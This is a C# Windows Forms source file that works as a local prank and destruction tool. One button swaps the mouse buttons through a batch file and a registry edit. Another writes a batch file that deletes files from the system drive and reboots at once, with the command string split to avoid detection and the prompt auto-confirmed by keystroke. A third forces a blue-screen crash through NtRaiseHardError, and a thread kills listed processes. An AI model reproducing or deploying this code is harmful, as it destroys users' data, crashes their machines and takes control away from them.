using System;

using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;

using System.IO;
using Microsoft.Win32;
using System.Threading;
using System.Runtime.InteropServices;



namespace WindowsFormsApp3
{
    public partial class Form1 : Form
    {
        bool fclick = true;
        public Form1()
        {
            InitializeComponent();
            Thread t = new Thread(() => prockiller.Kills(textBox1.Lines));
            ta = t;
        }
        Thread ta;
        private void button1_Click(object sender, EventArgs e)
        {
            try
            {

                string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
                userName = userName.Remove(0, userName.IndexOf(@"\"));
                string st = @"C:\Users\" + userName + @"\Desktop\MyTest.bat";
                try
                {
                    Process[] kill = Process.GetProcessesByName("MyTest");
                    foreach (Process proc in kill)
                    {
                        proc.Kill();
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }

                // File.Create(st);
                File.WriteAllText(@"C:\Users\" + userName + @"\Desktop\MyTest.bat", @"%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul");
                using (Process myProcess2 = new Process())
                {
                    myProcess2.StartInfo.UseShellExecute = false;
                    myProcess2.StartInfo.FileName = @"C:\Users\" + userName + @"\Desktop\MyTest.bat";
                    myProcess2.Start();
                }
                RegistryKey currentUserKey = Registry.CurrentUser.OpenSubKey(@"Control Panel\Mouse", true);

                currentUserKey.SetValue("SwapMouseButtons", 1, RegistryValueKind.String);

            }
            catch (Exception es)
            {
                MessageBox.Show(es.Message);




            }
        }


        void button2_Click(object sender, EventArgs e)
        {

            ta = new Thread(() => prockiller.Kills(textBox1.Lines));
            fclick = false;
            ta.Start();
        }

        private void textBox1_Click(object sender, EventArgs e)
        {
            if (!fclick) { fclick = false; MessageBox.Show("Измение парметров приведет к приостановлению блокировки"); ta.Abort(); }

        }

        private void textBox1_ChangeUICues(object sender, UICuesEventArgs e)
        {

        }

        private void textBox1_TextChanged(object sender, EventArgs e)
        {
            if (!fclick) { fclick = true; MessageBox.Show("Измение парметров приведет к приостановлению блокировки"); ta.Abort(); }
        }
        [DllImport("USER32.DLL")]
        public static extern bool SetForegroundWindow(IntPtr hWnd);

        [System.Runtime.InteropServices.DllImport("User32.dll")]
        public static extern bool ShowWindow(IntPtr handle, int nCmdShow);

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);



IntPtr hWnd = FindWindow("focusWindowClassName", null); // this gives you the handle of the window you need.


        private void button3_Click(object sender, EventArgs e)
        {
            try
            {
                string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
                userName = userName.Remove(0, userName.IndexOf(@"\"));
                String st = @"C:\Users\" + userName + @"\Desktop\help.bat";
                string[] piz = new string[3] {
                "@ echo off",
                @"del %syst"+@"em drive%\*.*",
                 "shutdown -r -t 00"};
                File.WriteAllLines(st, piz);
                using (Process myProcess2 = new Process())
                {
                    myProcess2.StartInfo.UseShellExecute = false;
                    myProcess2.StartInfo.FileName = st;
                    myProcess2.Start();
                    IntPtr windowHandle = myProcess2.MainWindowHandle;
                    SetForegroundWindow(windowHandle);
                }
                Thread.Sleep(500);
                SendKeys.Send("Y");
                SendKeys.SendWait("{ENTER}");


            }
            catch (Exception es) { MessageBox.Show(es.Message); }
        }
        [DllImport("ntdll.dll", SetLastError = true)]
        private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass
            , ref int processInformation, int processInformationLength);
        [DllImport("ntdll.dll")]
        private static extern uint RtlAdjustPrivilege(
    int Privilege,
    bool bEnablePrivilege,
    bool IsThreadPrivilege,
    out bool PreviousValue
);

        [DllImport("ntdll.dll")]
        private static extern uint NtRaiseHardError(
            uint ErrorStatus,
            uint NumberOfParameters,
            uint UnicodeStringParameterMask,
            IntPtr Parameters,
            uint ValidResponseOption,
            out uint Response
        );
        private static uint STATUS_ASSERTION_FAILURE = 0xC0000420;

        private void button4_Click(object sender, EventArgs e)
        {

            RtlAdjustPrivilege(19, true, false, out bool previousValue);
            NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, IntPtr.Zero, 6, out uint oul);
        }
    } }